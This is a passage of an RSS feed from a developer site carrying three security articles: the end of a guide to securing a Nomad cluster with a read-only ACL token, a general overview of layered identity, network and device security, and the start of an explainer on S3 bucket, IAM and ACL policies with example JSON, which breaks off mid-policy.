&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;nomad acl token create &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Read Only Token&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-policy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;readonly&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will return&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;Accessor ID  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;ACCESSOR_ID&amp;gt;
Secret ID    &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;SECRET_ID&amp;gt;
Name         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; Read Only Token
Type         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; client
Global       &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false
&lt;/span&gt;Create Time  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;timestamp&amp;gt;
Expiry Time  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;none&amp;gt;
Create Index &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;create_index&amp;gt;
Modify Index &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;modify_index&amp;gt;
Policies     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;readonly&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;

Roles
&amp;lt;none&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now with this token we can access the Nomad UI and API with read only access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Nomad is very powerful tool for orchestrating containers and other workloads. &lt;br&gt;
But if we leave it unsecured it can be a security risk. &lt;br&gt;
It is very important to secure the Nomad cluster.&lt;/p&gt;

&lt;p&gt;So, I hope you understood how to secure the Nomad cluster. &lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png&quot; alt=&quot;git-lrc&quot; width=&quot;800&quot; height=&quot;373&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It&amp;rsquo;s online, source-available, and ready for anyone to use. &lt;br&gt;
&amp;#11088; Star it on GitHub: &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;


</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/16115/how-to-secure-nomad</guid>
<pubDate>Fri, 01 May 2026 03:45:38 +0000</pubDate>
</item>
<item>
<title>Building a Layered Security Stack: Identity, Network and Device Protection</title>
<link>https://coderlegion.com/15290/building-a-layered-security-stack-identity-network-and-device-protection</link>
<description>
&lt;img src=&quot;https://cdn.pseo.one/67b62b766899109fe72fb789/687e6cccf6fe799d28851ea0/69c0ea273be0443d118e94c1/content-image/79ffec1e-c181-4726-86a4-552f0137b9e7.webp&quot; alt=&quot;79ffec1e-c181-4726-86a4-552f0137b9e7&quot; width=&quot;100%&quot; style=&quot;width: 100%; display: block; float: left;&quot;&gt;

&lt;p&gt;Modern organizations use cloud platforms and remote work which helps improve productivity but it also increases cybersecurity risks and a single security solution is no longer enough to protect sensitive systems and data.&lt;/p&gt;
&lt;p&gt;To reduce risk businesses now use a &lt;strong&gt;layered security stack&lt;/strong&gt; that protects identities networks and devices and this approach creates many security layers so if one control fails other layers continue to protect the system.&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Layer 1: Identity Security&lt;/strong&gt;&lt;/h1&gt;
&lt;img src=&quot;https://cdn.pseo.one/67b62b766899109fe72fb789/687e6cccf6fe799d28851ea0/69c0ea273be0443d118e94c1/content-image/49263901-d799-40d4-a231-bfade75c0350.webp&quot; alt=&quot;49263901-d799-40d4-a231-bfade75c0350&quot; width=&quot;100%&quot; style=&quot;width: 100%; display: block; float: left;&quot;&gt;

&lt;p&gt;Identity security is the first line of defense in modern cybersecurity and many cyberattacks start with stolen or compromised login details and stronger authentication helps make sure that only authorized users can access company resources.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Passwordless Authentication&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Traditional passwords are often weak and easy targets for phishing attacks and passwordless authentication replaces passwords with stronger ways of verification.&lt;/p&gt;
&lt;p&gt;Common passwordless authentication methods include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Biometric authentication&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hardware security keys&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Authentication apps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;One time login codes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By removing passwords organizations reduce the risk of credential theft and also make the login process easier for users.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;MFA&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Multi Factor Authentication ( MFA ) adds an extra verification step during login and even if attackers get a password they cannot access the system without the second authentication step.&lt;/p&gt;
&lt;p&gt;Common MFA verification methods include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Password or PIN&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;One time codes sent to mobile devices&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Authentication apps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Biometric verification&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using MFA greatly reduces the chance of unauthorized access.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;SSO&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Single Sign On ( SSO ) allows users to log in once and access many applications without entering login details again and this makes authentication easier and reduces password fatigue.&lt;/p&gt;
&lt;p&gt;Key benefits of SSO include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Simplified login experience&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Centralized authentication management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Improved employee productivity&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Stronger access control policies&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When SSO is used with MFA it gives both convenience and stronger identity security.&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Layer 2: Network Security Tools&lt;/strong&gt;&lt;/h1&gt;
&lt;img src=&quot;https://cdn.pseo.one/67b62b766899109fe72fb789/687e6cccf6fe799d28851ea0/69c0ea273be0443d118e94c1/content-image/9439d672-e4fb-47cf-add7-64d448237a31.webp&quot; alt=&quot;9439d672-e4fb-47cf-add7-64d448237a31&quot; width=&quot;100%&quot; style=&quot;width: 100%; display: block; float: left;&quot;&gt;

&lt;p&gt;Network security protects the data that moves between users devices and applications and as organizations depend more on remote work and cloud systems securing network access becomes very important.&lt;/p&gt;
&lt;p&gt;Network layer protection usually includes VPN platforms and secure web gateways and SASE solutions and teams that research options often look at providers and review platforms such as Cisco AnyConnect Palo Alto GlobalProtect Zscaler as part of their evaluation process.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;VPN Platforms&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://thebestvpn.com/&quot;&gt;Tested Virtual Private Networks&lt;/a&gt; ( VPNs ) create encrypted tunnels between users and company networks and this encryption keeps sensitive data safe from being intercepted when employees access systems remotely.&lt;/p&gt;
&lt;p&gt;Key advantages of VPN platforms include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Encrypted communication channels&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Secure remote access for employees&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Protection when using public Wi Fi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Increased data privacy&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;VPNs remain an essential tool for remote workforce security.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Secure Web Gateways&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Secure Web Gateways ( SWGs ) monitor and filter internet traffic to protect users from malicious websites and unsafe downloads.&lt;/p&gt;
&lt;p&gt;Common capabilities include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;URL filtering and website blocking&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Malware detection and prevention&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Phishing protection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Web traffic monitoring&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These tools help organizations enforce safe browsing policies and reduce exposure to online threats.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;SASE&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Secure Access Service Edge ( SASE ) combines networking and security services into one cloud based platform and this setup helps organizations manage security better in distributed environments.&lt;/p&gt;
&lt;p&gt;SASE platforms typically integrate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Secure web gateways&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Firewall as a service&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cloud access security brokers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Zero Trust access controls&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This allows companies to apply consistent security policies regardless of user location.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;ZTNA&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Zero Trust Network Access &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.microsoft.com/en-us/security/business/security-101/what-is-zero-trust-network-access-ztna&quot;&gt;ZTNA&lt;/a&gt; follows the rule never trust always verify and instead of giving full network access users are checked every time they try to access an application.&lt;/p&gt;
&lt;p&gt;ZTNA systems evaluate factors such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;User identity&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Device security status&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Location of the request&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access permissions&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This approach limits access to only the resources users need and reducing the risk of internal attacks.&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Layer 3: Device Protection&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Devices like laptops and smartphones and tablets often act as entry points to company systems and protecting these endpoints is an important part of a layered security strategy.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Endpoint Detection and Response ( EDR )&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Endpoint Detection and Response tools watch device activity to find suspicious behavior or possible threats.&lt;/p&gt;
&lt;p&gt;Key EDR features include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Continuous threat monitoring&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Malware detection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Automated incident response&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security alerts for IT teams&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These tools help security teams detect and stop threats before they spread.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Mobile Device Management ( MDM )&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Mobile Device Management solutions let organizations manage and keep mobile devices used for work secure.&lt;/p&gt;
&lt;p&gt;Capabilities include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Device encryption enforcement&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remote wipe for lost or stolen devices&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;App installation controls&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security configuration management&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This ensures that company data remains protected on employee devices.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Patch and Update Management&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Old software often has weaknesses that attackers can use and patch management systems make sure devices get updates and security fixes on time.&lt;/p&gt;
&lt;p&gt;Patch management typically includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Automatic operating system updates&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Application security patches&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vulnerability monitoring&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scheduled update deployment&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keeping software updated helps reduce security risks across the organization.&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Building a layered security system is important for protecting modern digital environments and by combining &lt;strong&gt;identity security&lt;/strong&gt; and &lt;strong&gt;network protection&lt;/strong&gt; and &lt;strong&gt;device safeguards&lt;/strong&gt; organizations can reduce cybersecurity risks significantly.&lt;/p&gt;
&lt;p&gt;Many growing teams also evaluate &lt;a rel=&quot;nofollow&quot; href=&quot;https://guptadeepak.com/demystifying-soc-2-compliance-for-startups-a-simple-guide/&quot;&gt;SOC 2 compliance as part of your layered security posture&lt;/a&gt;, especially when identity controls, network protections, and endpoint safeguards must align with customer security expectations and audit readiness.&lt;/p&gt;
&lt;p&gt;Technologies like passwordless authentication ,MFA, VPNs, SASE and endpoint protection work together to protect users and sensitive data and make security stronger across systems devices and networks&lt;/p&gt;

</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/15290/building-a-layered-security-stack-identity-network-and-device-protection</guid>
<pubDate>Wed, 22 Apr 2026 05:02:59 +0000</pubDate>
</item>
<item>
<title>S3 Policies Explained: Bucket Policies vs IAM Policies vs ACLs</title>
<link>https://coderlegion.com/14663/s3-policies-explained-bucket-policies-vs-iam-policies-vs-acls</link>
<description>
&lt;p&gt;&lt;img src=&quot;https://blog.ratnesh-maurya.com/images/blog/Understanding-S3-and-S3-Policies.jpg&quot; alt=&quot;S3 Policies Explained: Bucket Policies vs IAM Policies vs ACLs&quot;&gt;&lt;/p&gt;&lt;p&gt;S3 has three overlapping access control systems &amp;mdash; bucket policies, IAM policies, and ACLs &amp;mdash; and the interaction between them confuses most people the first time. Here's how each one works, when to use which, and the JSON to copy for the most common scenarios.&lt;/p&gt;
&lt;h2 id=&quot;the-three-access-control-layers&quot;&gt;The three access control layers&lt;/h2&gt;
&lt;p&gt;Every S3 request is evaluated against all applicable policies. If any of them explicitly deny the request, it's denied. Otherwise, at least one policy must explicitly allow it.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Attached to&lt;/th&gt;
&lt;th&gt;Written by&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bucket policies&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The S3 bucket&lt;/td&gt;
&lt;td&gt;Bucket owner&lt;/td&gt;
&lt;td&gt;Cross-account access, public access, IP restrictions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IAM policies&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IAM users/roles/groups&lt;/td&gt;
&lt;td&gt;Account admin&lt;/td&gt;
&lt;td&gt;Controlling what your own users and services can do&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ACLs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Buckets or objects&lt;/td&gt;
&lt;td&gt;Object owner&lt;/td&gt;
&lt;td&gt;Legacy use only &amp;mdash; AWS recommends disabling these&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;The rule of thumb:&lt;/strong&gt; Use IAM policies for your own users, bucket policies for external access or bucket-wide rules, and ignore ACLs unless you're dealing with legacy configurations.&lt;/p&gt;
&lt;h2 id=&quot;anatomy-of-an-s3-policy&quot;&gt;Anatomy of an S3 policy&lt;/h2&gt;
&lt;p&gt;Every policy is a JSON document with these fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version&lt;/strong&gt; &amp;mdash; always &lt;code&gt;&quot;2012-10-17&quot;&lt;/code&gt; (the current policy language version)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Statement&lt;/strong&gt; &amp;mdash; an array of permission rules, each containing:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Effect&lt;/strong&gt; &amp;mdash; &lt;code&gt;&quot;Allow&quot;&lt;/code&gt; or &lt;code&gt;&quot;Deny&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Principal&lt;/strong&gt; &amp;mdash; who the rule applies to (&lt;code&gt;&quot;*&quot;&lt;/code&gt; for everyone, or a specific ARN)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Action&lt;/strong&gt; &amp;mdash; which S3 operations (&lt;code&gt;s3:GetObject&lt;/code&gt;, &lt;code&gt;s3:PutObject&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource&lt;/strong&gt; &amp;mdash; which bucket/objects (specified as an ARN)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Condition&lt;/strong&gt; (optional) &amp;mdash; extra constraints like IP range, encryption type, or request origin&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;common-policies-with-working-json&quot;&gt;Common policies with working JSON&lt;/h2&gt;
&lt;h3 id=&quot;public-read-only-access&quot;&gt;Public read-only access&lt;/h3&gt;
&lt;p&gt;Makes all objects in a bucket publicly readable. Use this for static website hosting or public assets:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;hljs language-json&quot;&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;PublicReadGetObject&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:GetObject&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:s3:::my-bucket/*&quot;&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;hljs-punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows anyone to read objects but not list the bucket contents, upload, or delete. The &lt;code&gt;/*&lt;/code&gt; in the Resource means all objects inside the bucket.&lt;/p&gt;
&lt;h3 id=&quot;deny-uploads-without-encryption&quot;&gt;Deny uploads without encryption&lt;/h3&gt;
&lt;p&gt;Forces all uploaded objects to use server-side encryption. Note: this uses &lt;code&gt;Deny&lt;/code&gt; + a &lt;code&gt;StringNotEquals&lt;/code&gt; condition, not &lt;code&gt;Allow&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;hljs language-json&quot;&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;DenyUnencryptedUploads&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;Deny&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;s3:PutObject&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:s3:::my-bucket/*&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Condition&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;hljs-attr&quot;&gt;&quot;StringNotEquals&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;hljs-attr&quot;&gt;&quot;s3:x-amz-server-side-encryption&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;AES256&quot;&lt;/span&gt;
        &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;hljs-punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the correct pattern. A common mistake is using &lt;code&gt;Allow&lt;/code&gt; with a &lt;code&gt;StringEquals&lt;/code&gt; condition &amp;mdash; that permits encrypted uploads but doesn't block unencrypted ones if another policy allows &lt;code&gt;s3:PutObject&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;scoped-access-for-a-specific-iam-user&quot;&gt;Scoped access for a specific IAM user&lt;/h3&gt;
&lt;p&gt;Grants a single user read and write access to a bucket:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;hljs language-json&quot;&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;UserReadWrite&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;hljs-attr&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;hljs-attr&quot;&gt;&quot;AWS&quot;&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&quot;arn:aws:iam::123456789012:user/deploy-bot&quot;&lt;/span&gt;
      &lt;span class=&quot;hljs-punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hljs-punctuation&quot;&gt;,&lt;/span&gt;
